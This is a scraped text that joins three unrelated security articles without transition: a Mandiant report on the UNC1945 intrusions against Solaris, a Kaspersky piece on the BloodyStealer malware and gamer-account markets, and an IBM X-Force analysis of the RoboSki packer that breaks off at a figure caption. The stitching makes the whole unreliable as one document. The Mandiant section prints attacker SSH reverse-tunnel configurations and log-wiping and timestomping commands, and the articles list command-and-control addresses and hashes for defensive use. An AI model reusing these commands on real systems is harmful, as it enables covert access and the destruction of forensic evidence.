And for all, we hope you find value in using these new tools!
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Through Mandiant investigation of intrusions, the FLARE Advanced Practices team observed a group we track as UNC1945 compromise managed service providers and operate against a tailored set of targets within the financial and professional consulting industries by leveraging access to third-party networks (see this blog post for an in-depth description of “UNC” groups).
UNC1945 targeted Oracle Solaris operating systems, utilized several tools and utilities against Windows and Linux operating systems, loaded and operated custom virtual machines, and employed techniques to evade detection.
UNC1945 demonstrated access to exploits, tools and malware for multiple operating systems, a disciplined interest in covering or manipulating their activity, and displayed advanced technical abilities during interactive operations.
Mandiant discovered and reported to Oracle CVE-2020-14871 , which was addressed in Oracle's October 2020 Critical Patch Update .
Mandiant recommends staying current on all current patch updates to ensure a high security posture.
We will discuss this vulnerability in greater detail in a follow up blog post.
UNC1945 Attack Lifecycle
The threat actor demonstrated experience and comfort by utilizing unique tactics, techniques and procedures (TTPs) within Unix environments, demonstrating a high level of acumen in conjunction with ease of operability in Microsoft Windows operating systems.
They were successful navigating multiple segmented networks and leveraging third-party access to extend operations well beyond the initial victim.
Furthermore, UNC1945 operated from several virtual machines pre-configured with post-exploitation tools in addition to their custom toolset to evade detection and forensics.
Initial Compromise In late 2018, UNC1945 gained access to a Solaris server and installed a backdoor we track as SLAPSTICK in order to capture connection details and credentials to facilitate further compromise.
The SSH service of this server was exposed to the internet at the time, the same time we observed first evidence of threat activity.
Unfortunately, due to insufficient available evidence, the next indication of activity was in mid-2020 at which time a different Solaris server was observed connecting to the threat actor infrastructure.
This indicates a dwell time of approximately 519 days based on recovered artifacts.
Although we were unable to determine how the late-2018 initial access was accomplished, we did observe successful UNC1945
SSH connections directly to the victim Solaris 10 server, since the SSH service was exposed directly to the internet at the time.
In mid-2020, we observed UNC1945
deploy
EVILSUN—a remote exploitation tool containing a zero-day exploit for CVE-2020-14871—on a Solaris 9 server.
At the time, connections from the server to the threat actor IP address were observed over port 8080.
Mandiant discovered and reported CVE-2020-14871, a recently patched vulnerability in the Oracle Solaris Pluggable Authentication Module (PAM) that allows an unauthenticated attacker with network access via multiple protocols to exploit and compromise the operating system.
According to an April 2020 post on a black-market website, an “Oracle Solaris SSHD Remote Root Exploit” was available for approximately $3,000 USD, which may be identifiable with EVILSUN.
Additionally, we confirmed a Solaris server exposed to the internet had critical vulnerabilities, which included the possibility of remote exploitation without authentication.
Establish Foothold and Maintain Persistence The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server.
This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1).
Log –font –unix | /usr/lib/ssh/sshd sshd kbdint - can <Encoded Password> <IP REDACTED>
Magical Password auth.info | sshd[11800]: [ID 800047 auth.info] Accepted keyboard-interactive for root from <IP REDACTED> port 39680 ssh2 auth.notice | su:
[ID 366847 auth.notice] ‘su root’ - succeeded for netcool on /dev/pts/31 Figure 1: SLAPSTICK logs At the initial victim, UNC1945 placed a copy of a legitimate pam_unix.so file and SLAPSTICK in the /lib64/security folder.
A day later, the threat actor positioned a custom Linux backdoor, which Mandiant named LEMONSTICK, on the same workstation.
LEMONSTICK capabilities include command execution, file transfer and execution, and the ability to establish tunnel connections.
(see Figure 2).
FileItem:changed | /usr/lib64/security/pam_unix,so [57720] Audit log | [audit_type: USER_END] user pid=10080 uid=0
auid=0 msg='PAM: session close acct=root\" : exe=\"/usr/sbin/sshd\" (hostname=1.239.171.32, addr=1.239.171.32, terminal=ssh res=success)'\" FileItem:
Accessed | /var/tmp/.cache/ocb_static Figure 2: UNC1945 emplacement of SLAPSTICK UNC1945 obtained and maintained access to their external infrastructure using an SSH Port Forwarding mechanism despite the host lacking accessibility to the internet directly.
SSH Port Forwarding is a mechanism implemented in SSH protocol for transporting arbitrary networking data over an encrypted SSH connection (tunneling).
This feature can be used for adding encryption to legacy applications traversing firewalls or with malicious intent to access internal networks from the the internet.
The UNC1945 configurations we observed are similarly structured with respect to the host alias, specified options, and option order (see Figure 3).
config1 config2 Host <redacted> HostName <redacted>
Port 900 User <redacted> IdentityFile <redacted> KbdInteractiveAuthentication no PasswordAuthentication
no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null RemoteForward 33002 127.0.0.1:22 Host <redacted> HostName <redacted> Port 443 User <redacted> IdentityFile <redacted> KbdInteractiveAuthentication no PasswordAuthentication
no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null ServerAliveInterval 30 ServerAliveCountMax 3 RemoteForward 2224 <redacted>:22 Figure 3: SSH config files used by UNC1945 at different incidents As part of this multi-stage operation, UNC1945 dropped a custom QEMU Virtual Machine (VM) on multiple hosts, which was executed inside of any Linux system by launching a ‘start.sh’ script.
The script contained TCP forwarding settings that could be used by the threat actor in conjunction with the SSH tunnels to give direct access from the threat actor VM to the command and control server to obfuscate interaction with customer infrastructure.
The VM was running a version of the Tiny Core Linux OS with pre-loaded scripts and tools.
Also, we analyzed the Virtual Machine file system timestamps, which coincided with UNC1945's overall operational timeline.
The VM contained numerous tools such as network scanners, exploits and reconnaissance tools.
Tiny Core Linux pre-loaded tools included Mimikatz, Powersploit, Responder, Procdump, CrackMapExec, PoshC2, Medusa, JBoss Vulnerability Scanner and more.
Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory.
Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files.
UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH.
The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4.
$ ./b -C -y
-a $ mv b /usr/lib64/libXbleach.so.1 $ cd /usr/lib64/ $ touch -acm -r librpmio.so.3.2.2 $ touch -acm -r
libyaml-0.so.2 Figure 4: LOGBLEACH
To further obfuscate activity, a Linux ELF packer named STEELCORGI was executed in memory on the Solaris system.
The malware contains various anti-analysis techniques, including anti-debugging, anti-tracing, and string obfuscation.
It uses environment variables as a key to unpack the final payload.
Escalate Privileges and Lateral Movement After successfully establishing a foothold, UNC1945 collected credentials, escalated privileges, and successfully moved laterally through multiple networks.
UNC1945 obtained credentials via SLAPSTICK and open source tools such as Mimikatz, which enabled easy lateral movement throughout networks to obtain immediate access to other segments of the network and third-party environments.
Stolen credentials collected by SLAPSTICK were used to traverse the customer network via SSH and deploy SLAPSTICK to additional hosts.
After successfully authenticating, SLAPSTICK displays a welcome message, as seen in Figure 5.
Figure 5: SLAPSTICK backdoor welcome banner UNC1945 used ProxyChains to download PUPYRAT, an open source, cross-platform multi-functional remote administration and post-exploitation tool mainly written in Python.
At one target, the threat actor used a virtual machine to initiate a brute-force of SSH targeting Linux and HP-UX endpoints.
Beginning with seemingly random usernames and shifting to legitimate Linux and Windows accounts, the threat actor successfully established SSH connections on a Linux endpoint.
After successfully escalating privileges on an HP-UX endpoint and a Linux endpoint, UNC1945 installed three backdoors: SLAPSTICK, TINYSHELL, and OKSOLO.
We observed UNC1945 use IMPACKET with SMBEXEC in a Microsoft Windows environment to execute commands remotely without the need to upload a payload to the target.
SMBEXEC allows the threat actor to operate like PsExec, but without using RemComSvc.
There are two main modes of using this tool that benefits attackers.
Share mode allows the specification of a share that everything will be executed through.
Server mode permits the output of the executed commands to be sent back by the target machine into a locally shared folder.
At one victim, we observed UNC1945 moving laterally via Remote Desktop Protocol (RDP) to a Windows server before viewing the Server Manager Panel, viewing and modifying RDP-related system firewall rules and checking the application settings of two endpoint security services.
Internal Reconnaissance Mandiant investigations found that the threat actor maintains various tools to interact with victim networks.
In addition to custom tools, the UNC1945 VMs contained various tools (e.g.
network scanners, exploits and reconnaissance; see Associated Tools and Malware section).
In some intrusions, UNC1945 employed a SPARC executable identified as a reconnaissance tool.
Based on publicly available information, this executable could be referred to as Luckscan or BlueKeep, the latter of which is part of the BKScan toolkit (see Figure 6).
Figure 6: SPARC executable recon tool command line used by the threat actor
According to open sources, BlueKeep, aka “bkscan” scanner , works both unauthenticated and authenticated (i.e.
when Network Level Authentication is enabled).
BlueKeep (CVE-2019-0708) is a security vulnerability that was discovered in Microsoft's Remote Desktop Protocol (RDP) implementation, which allows for the possibility of remote code execution.
Complete Mission
Despite this multi-staged operation, Mandiant did not observe evidence of data exfiltration and was unable to determine UNC1945's mission for most of the intrusions we investigated.
In at least one case, we observed ROLLCOAST ransomware deployment in the final phase of the threat actor activity, but Mandiant didn’t attribute this activity to UNC1945.
At this time, it is likely that access to the victim environment was sold to another group.
Conclusion The ease and breadth of exploitation in which UNC1945 conducted this campaign suggests a sophisticated, persistent actor comfortable exploiting various operating systems, and access to resources and numerous toolsets.
Given the aforementioned factors, use of zero-day exploits and virtual machines, and ability to traverse multiple third-party networks, Mandiant expects this motivated threat actor to continue targeted operations against key industries while taking advantage of operating systems that likely have inadequate security visibility.
Associated Tools and Malware Families EVILSUN is a remote exploitation tool that gains access to Solaris 10 and 11 systems of SPARC or i386 architecture using a vulnerability (CVE-2020-14871) exposed by SSH keyboard-interactive authentication.
The remote exploitation tool makes SSH connections to hosts passed on the command line.
The default port is the normal SSH port (22), but this may be overridden.
EVILSUN passes the banner string SSH-2.0-Sun_SSH_1.1.3 over the connection in clear text as part of handshaking.
LEMONSTICK is a Linux executable command line utility with backdoor capabilities.
The backdoor can execute files, transfer files, and tunnel connections.
LEMONSTICK can be started in two different ways: passing the `-c` command line argument (with an optional file) and setting the ‘OCB’ environment variable.
When started with the `-c` command line argument, LEMONSTICK spawns an interactive shell.
When started in OCB mode, LEMONSTICK expects to read from STDIN.
The STDIN data is expected to be encrypted with the blowfish algorithm.
After decrypting, it dispatches commands based on the name—for example: ‘executes terminal command’, ‘connect to remote system’, ‘send & retrieve file’, ‘create socket connection’.
LOGBLEACH is an ELF utility that has a primary functionality of deleting log entries from a specified log file(s) based on a filter provided via command line.
The following log files are hard coded in the malware, but additional log paths may be specified: /var/run/utmp /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/faillog /var/log/syslog /var/log/messages /var/log/secure /var/log/auth.log OKSOLO is a publicly available backdoor that binds a shell to a specified port.
It can be compiled to support password authentication or dropped into a root shell.
OPENSHACKLE is a reconnaissance tool that collects information about logged-on users and saves it to a file.
OPENSHACKLE registers Windows Event Manager callback to achieve persistence.
ProxyChains allows the use of SSH, TELNET, VNC, FTP and any other internet application from behind HTTP (HTTPS) and SOCKS (4/5) proxy servers.
This \"proxifier\" provides proxy server support to any application.
PUPYRAT (aka Pupy) is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function RAT (Remote Administration Tool) and post-exploitation tool mainly written in Python.
It features an all-in-memory execution guideline and leaves very low footprint.
It can communicate using various transports, migrate into processes (reflective injection), and load remote Python code, Python packages and Python C-extensions from memory.
STEELCORGI is a packer for Linux ELF programs that uses key material from the executing environment to decrypt the payload.
When first starting up, the malware expects to find up to four environment variables that contain numeric values.
The malware uses the environment variable values as a key to decrypt additional data to be executed.
SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.
TINYSHELL is a lightweight client/server clone of the standard remote shell tools (rlogin, telnet, ssh, etc.
), which can act as a backdoor and provide remote shell execution as well as file transfers.
Detections FE_APT_Trojan_Linux_STEELCORGI_1
FE_APT_Trojan_Linux_STEELCORGI_2
FE_HackTool_Linux64_EVILSUN_1 FE_HackTool_Linux_EVILSUN_1 HackTool.
Linux.
EVILSUN.MVX HXIOC UUID: e489ce60-f315-4d1a-a888-77782f687eec EVILSUN (FAMILY) 90005075FE_Trojan_Linux_LEMONSTICK_1
FE_APT_Tool_Win32_OPENSHACKLE_1 FE_APT_Tool_Win_OPENSHACKLE_1 HXIOC UUID: 4a56fb0c-6134-4450-ad91-0f622a92701c OPENSHACKLE (UTILITY) 90005006
FE_APT_Backdoor_Linux64_SLAPSTICK_1 FE_APT_Backdoor_Linux_SLAPSTICK_1 FE_Backdoor_Win_PUPYRAT_1 FE_APT_Pupy_RAT FE_Ransomware_Win64_ROLLCOAST_1 FE_Ransomware_Win_ROLLCOAST_1 HXIOC, 45632ca0-a20b-487f-841c-c74ca042e75a; ROLLCOAST RANSOMWARE (FAMILY) Ransomware.
Win.
ROLLCOAST.MVX Hashes d5b9a1845152d8ad2b91af044ff16d0b (SLAPSTICK) 0845835e18a3ed4057498250d30a11b1 (STEELCORGI)
6983f7001de10f4d19fc2d794c3eb534 2eff2273d423a7ae6c68e3ddd96604bc d505533ae75f89f98554765aaf2a330a
abaf1d04982449e0f7ee8a34577fe8af Netblocks 46.30.189.0/24 66.172.12.0/24 ATT&CK Tactic Category Techniques Initial Access T1133 External Remote Services T1190 Exploit Public-Facing Application Execution T1059 Command and Scripting Interpreter T1059.001 PowerShell
T1064 Scripting Persistence T1133 External Remote Services Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Defense Evasion T1027 Obfuscated Files or Information T1070.004 File Deletion T1070.006 Timestomp
T1064 Scripting T1553.002 Code Signing Discovery T1046 Network Service Scanning T1082 System Information Discovery T1518.001 Security Software Discovery Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Command and Control T1071 Application Layer Protocol T1090
Proxy T1105 Ingress Tool Transfer T1132.001 Standard Encoding For more information, check out our Bring Your Own Land blog post.
Additionally, Mandiant experts from the FLARE team will present an in-depth view into UNC1945 on Thursday, Nov. 12.
Register today to reserve your spot for this discussion , where the presenters from FLARE and Mandiant Managed Defense will also answer questions from the audience.
Finally, for more intelligence on these types of threats, please register for Mandiant Advantage Free , a no-cost version of our threat intelligence platform.
Subscribe to Blogs Get email updates as new blog posts are added.
In March this year, our experts discovered an ad on an underground forum for a piece of malware dubbed BloodyStealer by its creators.
The ad states that it steals following data from infected devices: Passwords, cookies , bank card details, browser autofill data; Device data; Screenshots; Desktop and uTorrent client files; Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions ; Logs.
BloodyStealer ad.
Source What struck us was that most of the listed programs are game-related, which suggests that gamer accounts and their contents are in demand on the underground market.
We decided to examine in detail exactly what risks gamers face.
BloodyStealer conquers the world Although BloodyStealer is relatively new, it is already globe-trotting.
According to our data, the malware has hit users in Europe, Latin America, and the Asia-Pacific region — not so surprising given its malware-as-a-service (MaaS) distribution model, meaning anyone can buy it and the price is quite low (about $10 per month or roughly $40 for a “lifetime license”).
In addition to its theft functions, the malware has a set of tools meant to thwart analysis (read more about them here ).
It sends stolen information as a ZIP archive to the C&C server, which is protected against DDoS and other Web attacks.
The cybercriminals use either the (quite basic) control panel or Telegram to get the data, including gamer accounts.
Not by BloodyStealer alone BloodyStealer is just one of many tools available on the dark web for stealing gamer accounts.
Cybercriminals sell other types of malware, many of which have been on the market longer than BloodyStealer.
In addition, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically.
Cybercriminal sells BlackMafia phishing tool to create fake PUBG pages With the aid of these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials.
All kinds of offers related to gamer accounts can be found on the dark web.
Logs for wholesale access Among the most popular products are so-called logs — databases containing reams of data for logging into accounts.
In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected, and other details.
For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey, and Canada.
The entire archive costs $150 (about 0.2 cents per record).
Dark-web ad for the sale of logs for August 2021 That said, these databases can contain outdated or even useless information, and so some sellers let buyers check the logs to confirm they’re up to date.
Another dark-web ad: Fresh logs for $300 per 1,000 records Gamer accounts, games, and inventory Cybercriminals sell access to specific gaming accounts as well, both individually and wholesale.
Unsurprisingly, accounts with many games, add-ons, and expensive items hold particular value.
Typically cybercriminals sell them at huge discounts.
A cybercriminal selling 280,000 gamer accounts for just $4,000 Account content is also traded, again for a fraction of its real value.
On the dark web, for example, you can find Need for Speed and other titles selling for less than 50 cents.
Games from stolen accounts are sold for a song In-game items are also in circulation.
Discounted skins on the underground market How to avoid falling victim to BloodyStealer and other thieves Having games and in-game items sold off is not the only problem that awaits the owner of a stolen account.
Cybercriminals or buyers (it makes little difference to the victim) can use the account to launder money, distribute phishing links, and do other illegal things.
To avoid falling prey to cybercriminals, make sure your accounts and devices are secure.
Protect your accounts with strong passwords, enable two-factor authentication, and generally max out the platform’s security settings (see our guides for Steam , Battle.net , Origin , Twitch , and Discord users).
Download apps only from official sources to minimize the chances of picking up BloodyStealer or other malware.
Be wary of links in e-mails and messages from strangers.
Before entering your credentials on any website, make sure it’s genuine.
Use a reliable security solution.
For example, Kaspersky Security Cloud blocks BloodyStealer and doesn’t interfere with gameplay .
In a recent collaboration to investigate a rise in malware infections featuring a commercial remote access trojan (RAT), IBM Security X-Force and Cipher Tech Solutions (CT), a defense and intelligence security firm, investigated malicious activity that spiked in the first quarter of 2021.
With over 1,300 malware samples collected, the teams analyzed the delivery of a new variant of the RoboSki packer, which is widely used to thwart detection and deliver commodity RATs to enterprise networks.
CT automated the capability to rapidly extract configuration data from malware to produce actionable indicators of compromise (IOCs).
Analysts tested the ability to statically extract configuration data, bypassing dynamic anti-analysis features using data processed by CT , discovering approximately 1,300 additional samples.
The RoboSki-packed malware samples feature new capabilities, such as the ability to load resources and convert pixelated data to RGB order, resulting in the RoboSki component, and decoding and decrypting a ReZer0 loader.
The ReZer0 loader can embed malware or fetch it from remote servers and is known for its ability to deliver encrypted payloads and anti-sandbox checks.
Layering loaders is a tactic many malware distributors use to evade anti-virus detection and security scanners.
CT partnered with IBM X-Force to uncover how attackers delivered the commercial RATs .
While analyzing the delivery of RoboSki samples, X-Force isolated a sample of 21 phishing emails addressed to organizations worldwide in and around mid-February 2021 with attachments including RoboSki-packed malware.
The emails, which feature global trade themes, lead to the delivery of malware, such as Agent Tesla, FormBook, njRAT, NetWire and the Remcos RAT.
X-Force found infrastructure overlaps with the delivery of RoboSki’s distribution and recent or ongoing activity spreading malware such as AsyncRAT, LokiBot, NanoCore and the Gamarue Botnet, in addition to Agent Tesla , FormBook, njRAT , NanoCore and Remcos RAT , which have previously been reported on IBM’s premium threat intelligence platform TruSTAR and Security Intelligence .
Prior references to the RoboSki malware were made in mid-2020 , linking it to activity by a group known as Vendetta.
X-Force and CT do not necessarily attribute the new RoboSki variant analyzed, or its means of delivery, exclusively to Vendetta.
The teams believe that the activity points to independent cyber criminals distributing malware globally as part of a continuous effort to evolve tools and methods, obfuscate activity and evade detection.
Are Cyber Criminals Riding the Tide of Global Recovery?
Last year saw the global economy experience the worst peacetime economic decline since the Great Depression, but in its economic growth forecast for 2021, the International Monetary Fund predicts renewed global economic expansion of 6% in 2021.
Arguably underpinning this recovery in global trade is a worldwide expansion in the e-commerce ecosystem , which grew by a staggering 30% within the last year .
Doubtlessly attune to these changes in the digital current, malicious cyber actors are baiting their hooks to imitate authentic requests for quotations, payment orders and shipping updates, hoping to snare those logistics linchpins, like manufacturers, shippers and suppliers, in the global supply chain.
X-Force analysts studied a sample of 21 phishing emails containing malicious attachments that deliver the RoboSki packer and subsequently a variety of final payloads.
Analyzed emails were sent between the second and third week of February 2021 and were categorized into three main themes: purchase order/request for quotation/inquiry, shipping notification and payment notice/bank transfers.
The sample emails were sent to 15 unique companies located in 12 different countries across Europe, South America, the Middle East and South Asia.
In all instances, the phishing emails were addressed to companies associated with the manufacture or export of items supporting and/or supplying construction, transport, engineering or energy services.
Most samples were directed at entities in Europe, with the highest concentration of targeted organizations based in Romania, Italy and Germany.
X-Force and CT analysts assessed with high confidence that global trade- and logistics-themed phishing campaigns will continue to plague organizations into the year ahead, as the recovery of global trade unfolds over time.
Organizations, especially those engaged in import and export, should exercise extra caution and seek to cultivate a culture of cyber awareness among management and employees.
New Orders and Requests for Quotations Most emails in the sample were sent to a Romania-based company characterized as a global supplier of electrotechnical power products, including power transformers and rotary electric machines.
Several of the emails were crafted to appear to originate from real company email domains, indicating the senders are trying to increase the likelihood that the phishing email appears legitimate.
Apart from a single instance, the emails pose as an inquiry for purchase orders and requests for quotations.
All emails are written in poor English and include an attached purchase order or quotation contained in an archive file (Zip, CAB or RAR), which, when executed, drops the RoboSki-packed malware.
Figure 1 : Sample email sent to a Romania-based company Additional phishing messages uncovered with the same theme were composed in varying qualities of English and directed at seven unique entities across Europe and South America, targeting companies that manufacture automobile parts, machinery and energy components.
While the quality of the text differs by sample, the uncovered emails contain signature blocks attempting to impersonate well-known global corporations.
Where’s My Package?
The teams found the email sender janattbs7[@]gmail[.
]com sent not only an email to the Romanian-based company regarding a “quotation request,” but also an email for “shipping documents.”
Due to additional emails sent to the same company with varying themes, X-Force researched the spoofed sender company as well as the recipient company; however, no clear connection between the two was discerned.
Some of the sample emails used package delivery lures that purported to come from DHL or FedEx .
These were typically sent to companies within the construction industry that support oil companies and government clients, as well as water technology and processing.
Figure 2: Sample DHL email “Dear Customer, Your package has arrived at the office.
Our courier could not deliver it to your address due to a wrong address provided by our customer.
To receive your package, please go to any of our nearest office and show this receipt.
CLICK ON THE ATTACHED FILE TO DOWNLOAD AND PRINT
THE RECEIPT.
Greetings The DHL team” Fake Notices , Payments and Invoices Other emails in the sample featured fake payment notices, invoices or bank transfers and were sent to organizations in Europe and the Middle East.
Half of the samples were composed in the native language of the targeted recipients and contained signature blocks of authentic banks or import/export companies.
The remaining emails were composed in well-written English and featured signature blocks impersonating the managing director of a legitimate global shipping and logistics/supply chain management company based in Bangladesh.
While the sender email addresses did not match the signature blocks featured in each of the samples, in all cases the signature blocks themselves imitated authentic companies that may have a legitimate interest in the products or services of the targeted corporation.
In two instances, emails used the encrypted email service Tutanota (ex.
imports[@]tutanota[.]com[.]de.
).
Affixed to each of these emails was an attached archive file (TAR, 7z, GZIP) posing as either transfer requests, SWIFT statements from an authentic bank or numeric codes potentially pointing to account numbers.
Figure 3: Sample payment email Observations From X-Force’s Analysis X-Force uncovered several unique characteristics that provide insight into the attack infrastructure used in the various delivery of RoboSki-packed malware to facilitate operations.
The activity examined involved at least 289 email addresses for exfiltration, of which about 150 do not appear legitimate nor have discoverable returns, while more than half appear to be valid accounts.
About 20% of the valid email accounts showed server errors, and roughly 10% of accounts were associated with catch-all servers that accept emails sent to the domain, regardless of whether the mailbox exists or not.
The remaining accounts returned as either belonging to invalid domains with no mail exchange record, bad syntax, transient network faults or unknown status.
Infrastructure Overlaps with Distribution of Other Malware
The researchers isolated about 165 different command and control (C2) IP addresses and domains that were used in the distribution of malicious payloads.
Several IP addresses and domains have been reported in previous malware campaigns or are associated with recent or ongoing activity delivering a variety of other malware.
Some malware variants include Eldorado, Telegram Bot, NanoBot, LokiBot and the password stealers Fareit and Redline.
The following represents a sample of the recent or ongoing campaigns that share or have shared infrastructure overlaps with the RoboSki packer.
AsyncRAT Some malicious overlaps include domain 8123wsheurope.access[.
]ly, which resolved to the RoboSki-packed AsyncRAT C2 IP address 79.134.225[.
]44 in December 2020.
Recently, this domain was reported as being part of activity in which attackers used collaboration platforms, such as Slack, to evade detection and deliver several types of RATs and stealers.
AsyncRAT has also been active in the past month in attacks on the aviation, travel and cargo industry.
NanoCore RAT In the same netblock as the AsyncRAT IP address, a RoboSki-packed NanoCore C2 IP address 79.134.225[.
]71 resolved to adam9.ddns[.
]net, which was a C2 domain reported in late 2020 with relation to activities by the Blade Eagle (Blade Hawk) advanced persistent threat (APT) group.
In that campaign, Blade Eagle targeted organizations in the Middle East and West Asia.
We also found that C2 domains uyeco[.
]pw and zolta[.
]icu were seen in a recent malspam campaign in which malicious executable file formats were abused and used in a way that hid them from email scanners and anti-malware software, ultimately to deliver the NanoCore RAT.
The infection tactics, techniques and procedures (TTPs) were similar to the ones used to deliver the RoboSki-packed malware, via emails themed with purchase orders in archived files.
LokiBot Other observed overlaps include RoboSki-packed LokiBot C2 domains: alphastand[.
]trade alphashtand[.
]top alphastand[.
]win
kbfvzoboss[.
]bid These were previously observed in a campaign using Microsoft Publisher files to deliver the Pony malware .
The domains were also reported as a separate phishing campaign in 2019 using ‘SWIFT monetary transfer’ themed lures to deliver LokiBot, in addition to Neshta and Fuerboos.
All four C2 domains were used again in October 2020, as part of a different Lokibot spam campaign .
Of note, these C2 domains were present in 95 of the RoboSki-packed LokiBot samples, accounting for 41 unique LokiBot payloads.
Gamarue Botnet
In addition, the C2 domains azmtool[.
]us, becharnise[.
]ir, newcesarnex[.
]com and klimsourcinq[.
]com were reported in February as being related to the Gamarue Botnet.
In these instances, each of the domains was present in varying RoboSki-packed LokiBot samples.
File Path Observations Some file paths have noticeable misspellings, such as %AppData%\\microsift.exe, which was observed in a RoboSki-packed AsyncRAT sample.
We found that additional file paths, such as %Temp%\\windefendllinici.exe in RoboSki-packed AsyncRAT samples, may be associated with files compiled in February 2021 that matched YARA signatures for Nanocore, and password stealers, several of which communicate with the RoboSki-packed AsyncRAT C2 domain laboratoriogenfarp.linkpc[.
]net.
It is possible the appearance of the same file path in a limited sample set may suggest that the same malicious actor has been involved in several campaigns delivering various malware .
File path %AppData%\\notes\\logs.dat, seen in a RoboSki-packed Remcos sample, was also observed within other files that matched YARA rules for Remcos RAT and Agent Tesla.
The presence of %AppData%\\seguridad\\logs.dat in a RoboSki-packed Remcos sample may suggest that a Spanish-speaking company may have had their security logs accessed.
In addition, this file path was found within a file possibly related to Razy malware.
License Re-Use
While analyzing some of the final payloads, some interesting and specific attributes regarding Remcos RAT were observed.
Analysts found that the Remcos configuration contains a license code field (‘license_code’), which is unique to each purchaser.
In some cases where the RoboSki packer led to the delivery of Remcos, it was observed that two specific license codes were re-used.
The license codes observed within the configuration of multiple payloads for packaging were: License code A830299B3222E31F1F2765E3AC4D37FD was observed four times and associated with C2 addresses 184.140.53.148:1011 and 79.134.225.14:1011.
License code 8896DBA4C4FC821D8BAAC764BC9822E3 appeared in eight instances, associated with C2 addresses 91.241.19.107:1313 and 176.111.174.14:2804.
In addition, the configuration of Remcos RAT contains the field ‘server_password,’ with both of these license codes using the password ‘Yes’— although it is possibly defined as the default password.
New RoboSki Version — The Technical Details As identified by X-Force, the RoboSki packer file typically arrives within a malicious email archive attachment.
CT further analyzed the packer and its embedded components to understand the execution flow leading to a commodity RAT payload and how that execution flow differed from previous RoboSki packers.
Figure 4:
Mapping of RoboSki packer to final payload RoboSki.
Packer CT analysts found that the RoboSki packer contains numerous .NET
Microsoft resources, including the two resources of interest, SzGeneric and EventWaitHandleRights (highlighted in Figure 5), which are stored as PNG images.
Figure 5:
Key resources The resource SzGeneric contains the RoboSki component, which is used to decrypt the contents of the resource EventWaitHandleRights, resulting in a ReZer0 loader.
To get to the ReZer0 loader, the RoboSki packer first loads the SzGeneric resource and converts the pixel data to RGB order, as denoted in the image below, resulting in the RoboSki component.
Figure 6: Conversion to RGB order
This differs from previous RoboSki packer versions, wherein the component was stored as string data and decoded using string replacement and the Base32 algorithm or string replacement, string reversal and the Base64 algorithm.
The converted data is then executed and invoked in a series of module calls, depicted in the image below, in which the component is executed from its O5.Ga namespace/class and passed parameters from the class named ChannelSinkStack.
Figure 7: Converted data executed and invoked The parameters stored within ChannelSinkStack are the hex-encoded values for the resource named EventWaitHandleRights and a base XOR key ‘xNksm.’
Figure 8: ChannelSinkStack parameters RoboSki.
Component As described above, during execution the RoboSki component is provided as a resource and XOR key parameters, and proceeds to decode and decrypt the ReZer0 loader from the RoboSki packer.
The component loads the resource and arranges the pixels in BGRA order.
The component then parses the resource according to the structure below, and XOR decrypts the data using the results of permutations against the base XOR key and a control key.
Figure 9:
Python construct library structure Figure 10: Structure parsing and XOR decryption The resultant ReZer0 loader is then executed in memory and subsequently decrypts and executes an embedded payload, which, in this case, is an instance of the Agent Tesla RAT.
The ReZer0 loader operates in the same manner as described by 360 Total Security and Fortinet .
As mentioned in those blog posts, the ReZer0 loader exhibits anti-analysis features such as detection of virtual machines or sandboxes and can bypass anti-virus software.
Due to these anti-analysis features, the results from dynamic analysis, including sandboxes, may be incomplete or wildly inaccurate.
By using automated component and configuration extraction (ACCE) to statically extract the configuration data, the researchers bypassed all dynamic anti-analysis features that would otherwise prevent accurate and reliable analysis.
How Is ACCE Support Built?
ACCE is built on top of CT’s proprietary libraries, as well as the Department of Defense Cyber Crime Center’s (DC3) malware configuration parser and kordesii frameworks.
This promotes an automation workflow where initial YARA signature detections prompt running targeted modules organized by capability to extract layers of components (RoboSki packer->
ReZer0 loader -> Agent Tesla payload) and report configuration at each layer.
By adopting the ACCE workflow, reverse engineers can develop modules based upon analysis of a few samples, and then leverage that module to extract results from thousands of other related malware variants.
The primary difference between the newly analyzed RoboSki packer and previous RoboSki packers is the way the ReZer0 loader is encrypted.
Previously, written code for parsing the PNG pixels of the image resource was used in conjunction with new code for obtaining and using the resource name and initial XOR key using construct, regex patterns and an internal library.
Figure 11:
Construct Figure 12: Construct PAYLOAD_SPEC The referenced resource is acquired, PNG pixels are parsed and the resulting data is parsed using the construct PAYLOAD_SPEC.
Subsequently, the ReZer0 loader is decrypted and dispatched for further processing.
The configuration output for the RoboSki packer (MD5: 9b792353406c1c8bf440fa5417aee5b2), which contained the LokiBot sample with C2 domains previously observed in other campaigns.
Figure 13:
Configuration output Threat Hunting Using ACCE Output After adding a parser module to automatically extract the RoboSki component and ReZer0 loader from the new RoboSki packer variant, the researchers used VirusTotal to find additional samples using the new RoboSki packer variant.
As a result, 55 samples were selected to test against the new parser module.
Two variations in the initial RoboSki packer were observed:
In addition to being hex-encoded, the .NET
Microsoft resource name and base XOR key are Base64 encoded.
A .NET obfuscator is leveraged to encrypt all strings in the RoboSki packer, inhibiting the ability to easily extract the resource name and base XOR key.
All 55 RoboSki packer samples contained the same RoboSki decryption component.
After updating the parser module(s) to support the variations observed in the RoboSki packer, approximately 1,300 additional RoboSki packer samples were obtained via VirusTotal and subsequently run against the capability.
The resultant payload distribution is as denoted in the following chart: Figure 14:
